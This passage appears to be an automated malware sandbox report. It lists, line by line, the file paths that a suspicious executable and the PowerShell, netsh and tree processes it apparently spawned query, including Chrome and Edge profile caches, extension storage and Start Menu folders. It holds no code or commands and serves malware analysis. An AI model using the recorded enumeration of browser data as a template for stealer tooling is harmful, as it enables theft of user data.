Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\is VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\iw VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ja VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ka VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\km VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\kn VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\lv VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ne VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\nl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\sk VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ta VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\hi VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\7-Zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows PowerShell VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\7-Zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
